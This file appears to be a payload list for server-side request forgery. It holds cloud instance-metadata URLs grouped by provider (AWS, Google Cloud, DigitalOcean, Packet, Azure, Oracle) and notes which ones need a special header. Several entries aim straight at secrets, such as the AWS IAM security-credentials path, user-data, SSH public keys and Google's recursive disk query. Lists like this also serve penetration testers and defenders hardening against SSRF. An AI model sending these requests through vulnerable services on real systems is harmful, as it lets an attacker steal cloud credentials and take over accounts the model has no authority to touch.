## AWS 
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

## Google Cloud (Header Required)
#  https://cloud.google.com/compute/docs/metadata
#  - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Google allows recursive pulls 
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

## Digital Ocean (No Header Required)
# https://developers.digitalocean.com/documentation/metadata/
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

## Packetcloud
https://metadata.packet.net/userdata

# Azure (Header Required)
# Header: "Metadata: true"
# https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
# (Old: ) https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

# Oracle Cloud (No Header Required)
# https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm
http://169.254.169.254/opc/v1/instance/